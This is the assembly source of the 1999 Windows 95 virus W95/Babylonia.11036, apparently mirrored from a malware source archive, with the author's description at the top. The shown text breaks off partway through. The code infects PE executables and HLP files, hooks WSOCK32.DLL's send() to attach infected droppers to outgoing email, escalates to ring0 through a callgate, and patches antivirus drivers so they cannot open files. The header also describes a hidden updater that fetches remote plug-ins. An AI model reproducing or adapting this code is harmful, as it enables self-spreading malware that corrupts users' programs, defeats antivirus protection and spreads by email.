13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/LegacyWindows/Win95.Babylonia.11036.asm
2020-10-09 21:54:36 -05:00

3248 lines
103 KiB
NASM

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BABYLON.ASM]ÄÄÄ
comment ^
W95/Babylonia.11036 - Set babylonia on fire!
(c) Vecna 1999
I am of the opinion that asm talk by itself to the worthwhile reader, so, i
will be brief...
This virus is a memory resident ring0/ring3 virus, infecting PE EXE files,
HLP files, and WSOCK32.DLL. The virus use EPO features, but no encryption or
poly at all, altought it can be updated via WWW. ;)
For much time, peoples where thinking about a virus upgradeable. Some attemps
where made, as W95/SK, that was able to run special preparated data in RAR
files. But how far the upgrade RAR packet can go? In this virus, i show my
implementation of a plugin format, with the modules(plug-ins) online at a
a WWW page.
The virus is also a advanced email worm, attaching itself to all outgoing
e-mails(no sending a new one as happy99), can deal with attachments already
in e-mail body, have BASE64 and uu-encode routines, and, more important, the
icon of the infected dropper sended by email change with the current date.
When a infected app(or dropper) is executed, the virus dont get control at
this moment. The virus patch a JMP or CALL, and wait be called. When this
happen, the virus load some APIs from KERNEL32.DLL memory image(using CRC32),
then jump to ring0 using a callgate. The infamous DESCRIPTOR 0 is used to
store the temporary data, breaking the pmode tabu ;)
While in ring0, the virus alloc some memory, and install a hook in IFS handler
and wait for access to PE EXE files, HLP files, and WSOCK32.DLL. The memory
is also scanned for presence of SPIDER.VXD(DrWeb) and AVP.VXD(Z0MBiE's lib).
If they're found, their code is patched in a way that it lose the ability of
open files. After returning control to the host, if the virus has just
installed memory resident, it drop the www updater to disk and spawn it.
More about the www updater below.
PE files when accessed are infected by having the virus appended to last
section, or overwrited if is was relocs, and with the CODE sections scanned
for a suitable place for a CALL VIRUS. HLP files have added a script that pass
control immediatly to virus code by using the callback features of the API of
USER32 EnumWindows().
When WSOCK32.DLL is accessed, the send() export is redirected to a chunk of
code in top of relocation info. This code get a ring0 memory pointer to the
new send() handler, by new added functionality to the GetFileAttibute() API ;)
The code in new send() scan the outgoing data by e-mail info, and add a
infected dropper at the end of it. The virus support both MIME and non-MIME
email clients, and can add the dropper in both uu-encoded and BASE64 format.
The icon of this dropper change together with the name, to reflect some dates.
All data carried with the virus is compressed using aPLib v0.22b library. I
change my old LZW scheme by this routines due the immense gain in speed,
compressed size, and code size. Is the same algorithm i used in Fabi.9608.
When the www updater is executed, it register itself, with the fake name of
KERNEL32.EXE, in registry, to run always, and copy itself to /winsys directory
to avoid easy detection. The updater hide himself in the CTRL+ALT+DEL task
list, and stay in background waiting for the user connect to the internet.
Always in background, without any user notice, the www updater then connect
to my www page, download the virus plug-ins(that have a special format, and
can be expanded, to have full compatibility with future versions). If these
modules complain with the version and features requeried to run, it is
executed. The power of this is obvious. By adding new plugins, i can make the
virus a irc-worm, infect remote drives, or even a poly engine. The problem of
the possible take down of my URL is bypassed with the smart use of forwarders
(not implemented in the public source version of the updater).
The first module online are the greetz to the peoples that helped me in this
virus, be with betatesting, be with ideas, be with moral support. Currently
i am working in new modules, with new ideas that i think will be worth of be
coded.
If you arent a d0rk, you can contact me at vecna_br@hotmail.com, but idiot
questions about how compile and like will be ignored... and your soul can be
lost in the attempt of contact me ;)
Questions about where's the entrypoint will be ignored too... ;>
^
.586p
.model flat
locals
ofs equ offset
by equ byte ptr
wo equ word ptr
dwo equ dword ptr
fwo equ fword ptr
TRUE EQU 1
FALSE EQU 0
include host.inc
_VIRUS segment dword use32 public 'KMARAI'
vcode equ this byte
DEBUG equ FALSE ;debug version?
DROPPER_SIZE equ 6144
ENTRY_READ equ 128
SKIP_FIRST equ 16
CRLF equ <13,10>
CRC_POLY equ 0EDB88320h
CRC_INIT equ 0FFFFFFFFh
crc macro string ;jp/lapse macro
.radix 16d
crcReg = CRC_INIT
irpc _x, <string>
ctrlByte = '&_x&' xor (crcReg and 0ff)
crcReg = crcReg shr 8
rept 8
ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1))
endm
crcReg = crcReg xor ctrlByte
endm
dd crcReg
.radix 10d
endm
_gdt struc
limit dw ?
base dd ?
_gdt ends
_descriptor struc
limit_l dw ?
base_l dw ?
base_m db ?
access db ?
limit_h db ?
base_h db ?
_descriptor ends
_jmpfar struc
jmpofs32 dd ?
selectr dw ?
_jmpfar ends
_callback struc
offset_l dw ?
selector dw ?
attrib dw ?
offset_h dw ?
_callback ends
wsize2 equ 260
hook proc
db 0e9h
i_jmp dd 0 ;HLP redirector
hlp_start = ofs virusmain-$
enter 20h, 0 ;setup stack frame
push ecx
push ebx
mov ebx, [ebp+0Ch]
cmp bl, 33 ;hookz ifs_attr
je @@jmpcc
cmp bl, 36 ;hookz ifs_open
je @@jmpcc
cmp bl, 37 ;hookz ifs_ren
@@jmpcc:
jmpcc equ by $
jne @@noopen ;beware! near form of jnz
mov ebx, ebp
pusha
call delta
mov wo [ebp+(ofs jmpcc-ofs vcode)], 0e990h
add esp, -wsize2
mov edi, esp
mov eax, [ebx+10h]
inc al
jz @@nodrive
sub ax, -(":@"-1)
stosw
@@nodrive:
push 0 ;BCS_WANSI
push 255
mov eax, [ebx+1ch]
mov eax, [eax+0ch]
inc eax
inc eax
inc eax
inc eax
push eax
push edi
push 400041h ;VxDCall UniToBCSPath
call vxd
add esp, 16
dec edi ;edi=start of name
dec edi
lea esi, [edi+eax-2]
mov eax, [esi]
not eax
cmp eax, not '---.'
jne @@no_special
cmp wo [esi-10], '_\'
jne @@no_special ;trying to access the backdoor?
cmp dwo [ebx+0ch], 33 ;file attr?
jne @@no_special
mov wo [ebp+(ofs backdoor-ofs vcode)], 9090h ;wsock32.dll is calling us
@@no_special:
IF DEBUG EQ TRUE
cmp [esi-4], 'TAOG'
jne @@shit
ENDIF
xor eax, not 'EXE.' ;esi=extension
jnz @@try_hlp
doshdr equ 0
peptr equ 3ch
pehdr equ doshdr+40h
cbfr equ pehdr+0f8h
sectn equ cbfr+100h
fsize equ sectn+200h
epraw equ fsize+4
vrva equ epraw+4
lolimit equ vrva+4
uplimit equ lolimit+4
wsize4 equ uplimit+4
add esp, -wsize4 ;infect PE EXE files...
mov esi, edi
call open
jc @@err
call getsize
mov [esp+fsize], eax
cmp eax, DROPPER_SIZE ;my babies get better treatment
je @@dropper
call check_size
jz @@err1
@@dropper:
mov esi, esp
push 40h
pop ecx
sub edx, edx
call read ;read 40h of header
xor eax, ecx
jnz @@err1
movzx eax, wo [esi]
not eax
sub eax, not 'ZM' ;make sure is a EXE
jnz @@err1
cmp wo [esi+18h], 40h
jb @@err1
add cl, 0f8h-40h
sub esi, -peptr
lodsd
xchg eax, edx
call read
jc @@err1
call check_file ;already infected?
jz @@err1
movzx eax, wo [esi+22]
test eax, 0102h
jz @@err1
test eax, 3000h ;executable/no dll
jnz @@err1
movzx ecx, wo [esi+6]
cmp cl, 3
jb @@err1 ;too few sections
push 0f8h
imul ecx, ecx, 40
pop edx
add edx, [esp+peptr]
lea esi, [esp+sectn]
call read ;read section table
sub edi, edi
xchg edi, ecx
mov eax, [esp+pehdr+40]
sub eax, [esi+12]
cmp eax, [esi+8] ;entrypoint in first section?
ja @@err1
add eax, [esi+20] ;raw ofs of entrycode
mov [esp+epraw], eax
mov eax, [esi+36]
bts eax, 31 ;make 1st sec +write
jc @@err1 ;and exit if already is
bt eax, 5
jnc @@err1 ;need be CODE
test eax, 10000000h+80h+40h
jnz @@err1 ;cant be SHARED or UDATA/DATA
mov [esi+36], eax
mov eax, [esi+12]
mov [esp+lolimit], eax
add eax, [esi+8]
mov [esp+uplimit], eax ;boundaries of .code section
mov ebx, -(ofs vend-ofs vcode)
sub ecx, ebx
mov eax, [esp+pehdr+160]
sub eax, [esi+edi-40+12]
jnz @@increase ;last section isnt relocs
mov eax, [esi+edi-40+16]
add eax, ebx
jnb @@increase ;relocs too small
sub eax, eax
mov edx, eax
add eax, [esi+edi-40+12] ;rva of start of our code
mov [esp+vrva], eax
add edx, [esi+edi-40+20]
jmp @@write
@@increase:
mov eax, [esi+edi-40+8]
mov edx, eax
add eax, [esi+edi-40+12]
add edx, [esi+edi-40+20]
mov [esp+vrva], eax ;rva of start of our code
sub [esi+edi-40+8], ebx
mov eax, [esi+edi-40+16]
sub eax, ebx ;increase last section
mov ebx, [esp+pehdr+60]
dec ebx
add eax, ebx
not ebx
and eax, ebx ;align raw section size
mov [esi+edi-40+16], eax
@@write:
mov dwo [esi+edi-40+36], 0c0000040h
sub dwo [esp+vrva], -(ofs virusmain-ofs vcode)
add esi, edi
add esi, (-40+8)
lodsd
xchg ebx, eax
lodsd
add ebx, eax ;rva+size
mov eax, [esp+pehdr+56]
dec eax
add ebx, eax
not eax
and ebx, eax ;align it
mov [esp+pehdr+80], ebx ;update imagesize
mov esi, ebp
pusha
mov edx, [esp+epraw+((8*4))]
push ENTRY_READ
lea esi, [esp+cbfr+(8*4)+4]
pop ecx
call read ;read entrycode
pusha
push SKIP_FIRST
pop eax
add esi, eax ;skip first bytes(antiAV)
sub ecx, eax
@@jmp_call:
lodsb
cmp al, 0e8h ;call
je @@found
cmp al, 0e9h ;jmp
je @@found
@@loop1:
loop @@jmp_call
mov edi, [esp+(1*4)] ;put CALL at start
push 5
pop esi
jmp @@calculate
@@found:
mov edi, esi
lodsd ;displacement
mov edx, esi
sub esi, [esp+(1*4)] ;turn to distance
add eax, esi
add eax, [esp+pehdr+40+(16*4)] ;add entrypoint(our base)
cmp eax, [esp+lolimit+(16*4)]
jb @@out
cmp eax, [esp+uplimit+(16*4)] ;valid call?
jb @@fine
@@out:
sub ecx, 4
mov esi, edx
jmp @@loop1
@@fine:
dec edi
@@calculate:
push esi
mov esi, edi
lodsb
not eax
mov by [ebp+(ofs instr1-ofs vcode)], al ;save modificated code
lodsd
not eax
mov [ebp+(ofs instr2-ofs vcode)], eax
pop ecx
add ecx, [esp+pehdr+40+(16*4)] ;add entrypoint
mov al, 0e8h
stosb
mov eax, [esp+vrva+(16*4)] ;our rva
sub eax, ecx
stosd ;build call to it
popa
call write ;write entrycode
popa
call write ;write virus body
sub edx, edx
push 0f8h
lea esi, [esp+peptr+4]
lodsd
pop ecx
xchg edx, eax
bts wo [esi+22], 0
mov [esi+160], eax ;strip relocs
mov [esi+164], eax
call write ;write old header
add edx, eax
movzx ecx, wo [esi+6]
imul ecx, ecx, 40
sub esi, -(sectn-pehdr)
call write ;write section table
@@err1:
call close
@@err:
add esp, wsize4
@@try_hlp:
xor eax, not 'PLH.' xor not 'EXE.'
jnz @@wsockdll
buffer equ 0 ;stack frame
old_ofs equ 4
old_sz equ 8
patch1 equ 12
wsize3 equ 16
mainhdr equ 0 ;buffer structure
pagedir equ 10h
syshdr equ 210h
build equ 225h
add esp, -wsize3 ;infect HLP files...
mov esi, edi
call open
jc @@error000
push 32*1024
push 040000dh ;getheap
call vxd
pop ecx
mov [esp+buffer], eax
mov esi, eax ;esi=buffer.mainhdr
push 10h
pop ecx
sub edx, edx
call read ;read 10h of header
jc @@free
lodsd
xor eax, 035f3fh ;hlp signature?
jnz @@free
lodsd
lea edx, [eax+37h] ;edx=directory offset
mov ecx, 200h
lodsd
lodsd ;esi=buffer.pagedir
call read
mov ecx, eax
@@search:
dec ecx
jz @@free
cmp dwo [esi+ecx], 'SYS|'
jnz @@search
cmp dwo [esi+ecx+4], 'MET'
jnz @@search
mov eax, [esi-4] ;eax=end of file
xchg eax, [esi+ecx+8] ;section code = end of file
xchg eax, edx
push 15h
push 15h
sub esi, -(syshdr-pagedir)
pop ecx
call read ;read sys hdr
mov ecx, [esi]
pop eax
sub ecx, eax
add edx, eax
mov [esp+old_ofs], edx
mov [esp+old_sz], ecx ;save old code position/size
mov edi, [esp.buffer]
sub edi, -build
lea esi, [ebp+(ofs hlp1_s-ofs vcode)]
lea eax, [edi+(ofs _size-ofs hlp1_s)]
mov [esp.patch1], eax
push hlp1_sz
pop ecx
@@decr:
lodsb ;copy start macro
not al
stosb
loop @@decr
push edi ;edi=buffer
mov dwo [ebp+(ofs i_jmp-ofs vcode)], hlp_start
lea esi, [ebp+(ofs vend-ofs vcode)]
@@next:
add esi, -4
mov eax, [esi]
call check
test edx, edx ;can make it directly?
jnz @@ext
mov al, 12h ;push ?
org $-1
push 12345678h
org $-4
stosb
mov eax, [esi]
stosd
jmp @@done_
@@ext:
mov al, 0b8h ;mov eax, ?
stosb
mov eax, [esi]
xor eax, edx
stosd
mov al, 35h ;xor eax, ?
stosb
mov eax, edx
stosd
mov al, 50h ;push eax
stosb
@@done_:
cmp esi, ebp
jne @@next
pop eax
mov ecx, edi
sub ecx, eax ;ecx=poly code
sub eax, eax
mov dwo [esi+(ofs i_jmp-ofs vcode)], eax
push ecx
add ecx, (ofs hlp1_e-ofs p1)+(ofs hlp2_e-ofs hlp1_e)
mov eax, [esp.patch1+4]
mov wo [eax], cx ;patch macro size
sub esi, -(ofs hlp1_e-ofs vcode)
push hlp2_sz
pop ecx
rep movsb ;copy end macro
pop eax
mov esi, [esp.buffer]
sub esi, -syshdr
add eax, hlp2_e-hlp1_s
add [esi], eax
add [esi+4], eax ;fix syshdr size
mov esi, edi
mov edx, [esp.old_ofs]
mov ecx, [esp.old_sz]
sub eax, ecx ;old script too large?
jbe @@free
call read ;read old code
cmp [esi+4], "`(RR"
je @@free ;probably already infected
mov ebp, [esp.buffer] ;ebp=buffer
lea ecx, [edi+eax]
sub ecx, ebp ;ecx=our size
add ecx, -syshdr
mov edx, [ebp.mainhdr+12]
lea esi, [ebp.syshdr]
call write ;write our code
mov esi, [esp.buffer]
push 10h
add [esi.mainhdr+12], eax
sub edx, edx
pop ecx
call write ;write main header
mov edx, [esi.mainhdr+4]
sub edx, -37h
mov ecx, 200h
add esi, pagedir
call write ;write directory
@@free:
push dwo [esp+buffer]
push 040000eh ;freeheap
call vxd
pop eax
call close ;close file
@@error000:
add esp, wsize3
@@wsockdll:
; xor eax, not 'EXE.' xor not 'PLH.' xor not 'LLD.'
xor eax, 01c000c00h
jnz @@shit
IF DEBUG EQ FALSE
mov eax, [esi-4]
mov esi, [esi-8]
not eax
xchg eax, esi
not eax
cmp esi, not '23KC'
jne @@shit
cmp eax, not 'OSW\'
jne @@shit
ENDIF
obufer equ 0 ;stack frame
header equ obufer+3ch
pe_hdr equ header+4
section equ pe_hdr+0f8h
export equ section+200h
vofs equ export+4
vraw equ vofs+4
etable equ vraw+4
wsize1 equ etable+(4*20)
add esp, -wsize1 ;patch WSOCK32.DLL...
mov esi, edi
call open
jc @@error0
call getsize
mov edi, eax
call check_size
jz @@error1
sub edx, edx
mov ecx, 40h
lea esi, [esp+obufer]
call read
cmp wo [esp+obufer], 'ZM'
jne @@error1
push 0f8h
pop ecx
mov edx, [esp+header]
cmp edx, edi
jae @@error1 ;point outside of the file?
lea esi, [esp+pe_hdr]
call read
jc @@error1
call check_file
jz @@error1
call write ;write pe header
add edx, eax
movzx ecx, wo [esi+6]
push ecx
imul ecx, ecx, 40
lea esi, [esp+section+4]
call read ;read section table
pop ecx
@@writeable:
bts dwo [esi+36], 31 ;make all sections writeable
sub esi, -40
loop @@writeable
mov [esi-40+36], 0c0000040h
mov ecx, [esi-40+8] ;increase last section
push ecx
add ecx, [esi-40+20]
mov [esp+vraw+4], ecx ;raw of our patch
pop ecx
add ecx, [esi-40+12]
mov [esp+vofs], ecx ;rva of our patch
add dwo [esi-40+8], (ofs pend-ofs pstart)
mov ebx, [esi-40+8]
cmp ebx, [esi-40+16]
jbe @@fit
mov ecx, [esp+pe_hdr+60]
dec ecx
add ebx, ecx
not ecx
and ebx, ecx
mov [esi-40+16], ebx ;align
@@fit:
xchg eax, ecx
lea esi, [esp+section]
call write
mov eax, [esp+pe_hdr+120] ;eax=export table
call rva2raw
xchg eax, edx
push 4
pop ecx
sub edx, -28
lea esi, [esp+export]
call read ;read export table addresses
mov eax, [esi]
call rva2raw
xchg eax, edx
push (4*20)
pop ecx
lea esi, [esp+etable] ;read 20 exports
call read
mov eax, [esp+vofs]
mov edi, [esp+pe_hdr+52] ;wsock32 base
sub eax, -(ofs send-ofs pstart)
xchg [esi+(4*18)], eax ;hook send
add edi, eax
mov [ebp+(ofs oldsend-ofs vcode)], edi
mov [ebp+(ofs _send-ofs vcode)], edi
call write
mov edx, [esp+vraw]
push (ofs pend-ofs pstart)
pop ecx
call delta
sub ebp, -(ofs pstart-ofs vcode)
xchg esi, ebp
call write ;write our patch
@@error1:
call close
@@error0:
add esp, wsize1
@@shit:
add esp, wsize2 ;release tmp buffer
mov wo [ebp+(ofs jmpcc-ofs vcode)], 0850fh
popa
@@noopen:
push 6
push 1Ch
pop ebx
pop ecx ;total=6 paramz
@@nparam:
mov eax, [ebp+ebx] ;copy paramz from old frame
push eax ;to new frame
add ebx, -4
loop @@nparam
db 0b8h ;mov eax, ?
oldhook dd 0
call [eax] ;call old hookz
add esp, 6*4
backdoor equ $
jmp @@closed
call @@delta
@@delta:
pop ecx
add ecx, (ofs my_send-ofs @@delta)
mov wo [ecx-(ofs my_send-ofs backdoor)], ((ofs @@closed-(ofs backdoor+2))*100h)+0ebh
mov ebx, [ebp+1ch] ;ioreq
push esi
mov esi, [ebx+14h]
lodsd ;c:\_
sub eax, eax
mov ebx, eax
@@byte:
lodsb ;get filename char
inc ah
sub al, 'A'
or bl, al ;build address
cmp ah, 8
je @@doneb
shl ebx, 4
jmp @@byte
@@doneb:
mov [ebx], ecx ;patch requested address
pop esi
@@closed:
pop ebx
pop ecx
leave
ret
hook endp
delta proc
call @@delta
@@delta:
pop ebp
add ebp, -(ofs @@delta-ofs vcode)
ret
delta endp
check_file proc
mov eax, [esi]
not eax
cmp eax, not 'EP'
jne @@error
cmp wo [esi+4], 14ch ;386
jb @@error
cmp wo [esi+4], 14eh ;586
ja @@error
xor eax, edx ;(not('PE')xor(pe_ofs)xor(entry))
bswap eax
xor eax, [esi+40]
cmp [esi+8], eax ;infected?
mov [esi+8], eax
db 066h, 0b8h ;mov ax, ?
@@error:
sub eax, eax
ret
check_file endp
gdt equ 0
idt equ 6
ring0_cs equ 12
ring0_ds equ 16
jmpfar equ 20
wsize equ 26
kernel32 equ 0bff70000h
virusmain proc
pushf
pusha
add esp, -wsize
cld
sub eax, eax
call @@seh
mov esp, [esp+8] ;hmm... SEH... :/
jmp @@installed
@@seh:
push dwo fs:[eax]
mov fs:[eax], esp
mov esi, [kernel32+80h+120] ;get kernel32 APIs...
mov esi, [esi]
sub esi, -(kernel32+24) ;esi=export directory+24
lodsd
push eax
lodsd
push eax
lodsd
xchg ebx, eax
pop ebp ;ebp=RVA table
pop ecx ;ecx=number of names
lodsd
xchg esi, eax ;esi=names table
xchg esi, ebx ;ebx=ordinal table
mov edx, -kernel32
sub esi, edx
sub ebp, edx
sub ebx, edx ;edx=-kernel32
sub edi, edi
@@loopy:
inc edi ;edi=ordinal counter
lodsd ;eax=API name string
pusha
sub eax, edx
xchg eax, esi
push CRC_INIT ;calculate crc of string
pop ecx
@@next_byte:
lodsb
test al, al
jz @@done
xor cl, al
mov al, 8
@@next_bit:
shr ecx, 1
jnc @@poly
xor ecx, CRC_POLY
@@poly:
dec al
jnz @@next_bit
jmp @@next_byte
@@done:
call @@delta1
@@delta1:
pop esi
add esi, (ofs _openfile-ofs @@delta1)
cmp ecx, 12345678h ;crcz of API
org $-4
crc <CreateFileA>
je @@patch_api
sub esi, -((ofs _getfattr-ofs vcode)-(ofs _openfile-ofs vcode))
cmp ecx, 12345678h
org $-4
crc <GetFileAttributesA>
je @@patch_api
sub esi, -((ofs _writefile-ofs vcode)-(ofs _getfattr-ofs vcode))
cmp ecx, 12345678h
org $-4
crc <WriteFile>
je @@patch_api
add esi, ((ofs _closehandle-ofs vcode)-(ofs _writefile-ofs vcode))
cmp ecx, 12345678h
org $-4
crc <CloseHandle>
je @@patch_api
sub esi, -((ofs _seekfile-ofs vcode)-(ofs _closehandle-ofs vcode))
cmp ecx, 12345678h
org $-4
crc <SetFilePointer>
je @@patch_api
add esi, (ofs _loadl-ofs vcode)-(ofs _seekfile-ofs vcode)
cmp ecx, 12345678h
org $-4
crc <LoadLibraryA>
je @@patch_api
add esi, (ofs _freel-ofs vcode)-(ofs _loadl-ofs vcode)
cmp ecx, 12345678h
org $-4
crc <FreeLibrary>
je @@patch_api
sub esi, -((ofs _getproc-ofs vcode)-(ofs _freel-ofs vcode))
cmp ecx, 12345678h
org $-4
crc <GetProcAddress>
je @@patch_api
add esi, (ofs _gsystime-ofs vcode)-(ofs _getproc-ofs vcode)
cmp ecx, 12345678h
org $-4
crc <GetSystemTime>
je @@patch_api
sub esi, -((ofs _fdelete-ofs vcode)-(ofs _gsystime-ofs vcode))
cmp ecx, 12345678h
org $-4
crc <DeleteFileA>
je @@patch_api
add esi, (ofs _readfile-ofs vcode)-(ofs _fdelete-ofs vcode)
cmp ecx, 12345678h
org $-4
crc <ReadFile>
je @@patch_api
add esi, (ofs _getmhandle-ofs vcode)-(ofs _readfile-ofs vcode)
cmp ecx, 12345678h
org $-4
crc <GetModuleHandleA>
je @@patch_api
sub esi, -((ofs _winexec-ofs vcode)-(ofs _getmhandle-ofs vcode))
cmp ecx, 12345678h
org $-4
crc <WinExec>
jne @@end_loopy
@@patch_api:
movzx eax, wo [ebx+(edi*2)] ;get ordinal
dec eax
mov eax, [ebp+(eax*4)] ;get rva
sub eax, edx
mov [esi], eax ;got it!
@@end_loopy:
popa
dec ecx
jnz @@loopy ;all APIs scanned
call delta
lea eax, [ebp+(ofs wsock-ofs vcode)]
push eax
db 0b8h
_loadl dd 0
call eax ;load wsock32.dll
xchg eax, ecx
jecxz @@suxx
push ecx ;for FreeLibrary
call @@send
db 'send', 0
@@send:
push ecx
db 0b8h+7 ;GetProcAddress
_getproc dd 0
call edi
cmp by [eax], 0e8h ;the difference between masters
jne @@isnt ;and pupils ;)
cmp by [eax+5], 0b8h
jne @@isnt
mov eax, [eax+6] ;get real addy :)
@@isnt:
mov [ebp+(ofs oldsend-ofs vcode)], eax
db 0b8h
_freel dd 0
call eax
@@suxx:
push 8
push ebp
pop esi
push (ofs vend-ofs vcode)/4 ;make sure we're commited
pop ecx
rep lodsd
pop eax
lea edi, [ebp+(ofs myname-ofs vcode)]
xchg eax, ecx
rep stosd
mov ebp, esp ;jmp2ring0...
push 1
sgdt [ebp+gdt] ;get global descriptor table
sidt [ebp+idt] ;get interrupt table
mov esi, [ebp+gdt.base]
mov edi, esi
movzx ecx, wo [ebp+gdt.limit]
pop ebx
@@search_gdt:
sub eax, eax
cmp wo [esi.limit_l], 0ffffh
jne @@next_descriptor
cmp by [esi.limit_h], 0cfh ;descriptor start at 0?
jne @@next_descriptor
cmp wo [esi.base_l], ax ;and cover the whole range?
jne @@next_descriptor
cmp by [esi.base_m], al
jne @@next_descriptor
cmp by [esi.base_h], al
jne @@next_descriptor ;is a flat descriptor!
cmp [esi.access], 9bh
jne @@no_code ;is a code descriptor?
mov eax, esi
sub eax, [ebp+gdt.base]
mov [ebp+ring0_cs], eax ;yes, save it!
shl ebx, 1
jmp @@next_descriptor
@@no_code:
cmp [esi.access], 93h
jne @@next_descriptor ;is a data descriptor?
mov eax, esi
sub eax, [ebp+gdt.base]
mov [ebp+ring0_ds], eax ;yes, save it!
shl ebx, 1
@@next_descriptor:
lodsd
lodsd
bt ebx, 2 ;our 2 descriptors found?
jc @@search_done
loop @@search_gdt
jmp @@installed ;flat descriptors dont found
@@search_done:
mov esi, edi ;esi=1st entry
lodsd ;edi=nul entry
lodsd
test eax, eax ;nul entry isnt empty?
jnz @@installed ;then already resident
pusha
movsd
movsd ;backup 1st descriptor
popa
mov eax, dwo [ebp+ring0_cs]
mov wo [esi.selector], ax ;ring0 code selector
mov wo [esi.attrib], 0ec00h
call @@over_ring0_code ;[esp]=ring0 code
@@ring0_code:
mov ds, ax
mov es, ax ;setup data access
xchg esi, edi
movsd ;restore 1st descriptor
movsd
mov edi, ebp
mov ebx, [edi.gdt.base]
movzx ecx, wo [edi.gdt.limit]
call protect ;make gdt read only
mov ebx, [edi.idt.base]
movzx ecx, wo [edi.idt.limit]
call protect ;make idt read only
push 00270005h
call vxd ;VXDLDR GetDeviceList
@@next:
mov ebx, [eax+5] ;VxD_Desc_Block *DI_DDB
sub ebx, 0C0000000h
jc @@next_vxd
lea ecx, [ebx+0C000000Ch] ;Name_0
cmp [ecx], 'DIPS' ;'SPIDER '
je @@patch
cmp [ecx], '9PVA' ;'AVP95 '
jne @@next_vxd
@@patch:
push 0000D500h ;R0_OPENCREATFILE
pop esi
call ScanVxd
inc esi ;R0_OPENCREAT_IN_CONTEXT
call ScanVxd
@@next_vxd:
mov eax, [eax]
or eax, eax
jnz @@next
push 9
push eax
push eax
push eax
push eax
push eax
push 1
push 64/4 ;memory for email shitz
push 010053h
call vxd
add esp, 8*4
test eax, eax
jz @@fucked
mov [ebp+(ofs mem_temp-ofs vcode)], eax
@@fucked:
push (ofs vend-ofs vcode)
push 9
push eax
push eax
push eax
push eax
push eax
push 1
push (((ofs vend-ofs vcode)+4095)/4096)
push 010053h ;PageAlloc
call vxd
add esp, 8*4
test eax, eax
jz @@fuck
mov edi, eax
xchg eax, ecx
xchg ecx, [esp] ;pop size/push &hook
push ebp
pop esi
rep movsb
mov [edi+(ofs i_jmp-ofs vcode)-(ofs vend-ofs vcode)], ecx
mov [edi+(ofs socket_out-ofs vcode)-(ofs vend-ofs vcode)], ecx
mov wo [edi+(ofs jmpcc-ofs vcode)-(ofs vend-ofs vcode)], 0850fh
push 00400067h ;install ifs hook
call vxd
mov [edi+(ofs oldhook-ofs vcode)-(ofs vend-ofs vcode)], eax
@@fuck:
pop eax
retf
@@over_ring0_code:
pop eax
mov ebx, eax
shr eax, 16
mov wo [esi.offset_l], bx ;address of routine
mov wo [esi.offset_h], ax
push 0
pop dwo [ebp+jmpfar.jmpofs32]
mov wo [ebp+jmpfar.selectr], 8 ;jmp to callback 1
mov eax, dwo [ebp+ring0_ds] ;set ring0 data
push ds
push es
cli
call fwo [ebp+jmpfar] ;call our ring0 code
cli
pop es
pop ds
@@installed:
sub eax, eax
pop dwo fs:[eax] ;remove SEH
pop ecx
call delta
mov eax, [ebp+(ofs mem_temp-ofs vcode)]
test eax, eax
jz @@no_ready
push eax
call @@over
include updater.inc
@@over:
call _aP_depack_asm ;unpack updater data
push eax
push 2
pop ecx
lea esi, [ebp+(ofs dropname-ofs vcode)]
call r3_open
pop ecx
jz @@no_ready
mov esi, [ebp+(ofs mem_temp-ofs vcode)]
call r3_write
call r3_close
push 0
lea eax, [ebp+(ofs dropname-ofs vcode)]
push eax
db 0b8h
_winexec dd 0
call eax
@@no_ready:
cmp dwo [ebp+(ofs i_jmp-ofs vcode)], 0
je @@pe_exe
add esp, wsize
popa
popf
add esp, (ofs vend-ofs vcode)
sub eax, eax ;stop enumeration
ret 8 ;return to callback
@@pe_exe:
lea eax, [esp+wsize+(9*4)]
mov edi, [eax]
sub edi, 5 ;return place
mov [eax], edi
mov al, not 0b8h
instr1 equ by $-1
not eax
stosb
mov eax, 12345678h
instr2 equ dwo $-4
not eax
stosd
add esp, wsize
popa
popf
ret ;return to same place!
virusmain endp
hlp1_s = $
dw 4
dw (ofs _label1-ofs _label2)
_label2 = $
db "RR(`USER32.DLL',`EnumWindows',`SU')", 0
_label1 = $
dw 4
_size dw 0
p1 = $
db "EnumWindows(`"
hlp1_e = $
hlp1_sz = hlp1_e-hlp1_s
jmp esp
db "',666)", 0 ;29A
hlp2_e = $
hlp2_sz = hlp2_e-hlp1_e
check proc
call checkv
jc @@again_1
sub edx, edx
ret
@@again_1:
mov ebx, eax
@@again:
mov eax, ebx
call rnd
xor eax, edx
call checkv ;eax was validated?
jc @@again
xchg eax, edx ;edx is valid modifier?
call checkv
jc @@again
xchg edx, eax
ret
check endp
rnd proc
call @@2
dd 12345678h
@@2:
pop edx
sub [edx], 12345678h
org $-4
v2 dd 87654321h
mov edx, [edx]
xor [ebp+(ofs v2-ofs vcode)], edx ;get rnd number
ret
rnd endp
checkv proc
pusha
push 4
pop ecx
@@1:
cmp al, ' '
jbe @@error
cmp al, 0f0h
ja @@error
cmp al, '"'
jz @@error
cmp al, "'"
jz @@error
cmp al, "`"
jz @@error
cmp al, "\"
jz @@error
ror eax, 8 ;check for invalid characters
loop @@1 ;for hlp script
clc
mov cl, 12h
org $-1
@@error:
stc
popa
ret
checkv endp
open proc
call getatt
mov [ebp+(ofs attr-ofs vcode)], eax
sub ecx, ecx
call setatt
mov [ebp+(ofs fname-ofs vcode)], esi
mov eax, 0D500h
push 1h
sub ecx, ecx
mov ebx, 2022h
pop edx
call io
mov [ebp+(ofs handle-ofs vcode)], eax
ret
open endp
getsize proc
mov eax, 0D800h
__2_:
jmp __2__
getsize endp
close proc
mov eax, 0D700h
call __2_
mov ecx, 12345678h
attr equ dwo $-4
mov esi, 12345678h
fname equ dwo $-4 ;set old file attribute
close endp
setatt proc
mov eax, 4301h
__2__:
jmp __2___
setatt endp
getatt proc
mov eax, 4300h
__2___:
jmp __2
getatt endp
write proc
mov eax, 0D601h
jmp __2___
write endp
read proc
mov eax, 0D600h
__2:
mov ebx, 12345678h
handle equ dwo $-4
read endp
io proc
call delta
mov [ebp+(ofs eax_value-ofs vcode)], eax
mov eax, 00400032h ;Ring0_IO
xchg eax, [esp]
push eax
io endp
vxd proc
pop eax
call delta
mov wo [ebp+(ofs @@int-ofs vcode)], 20cdh
sub eax, ebp
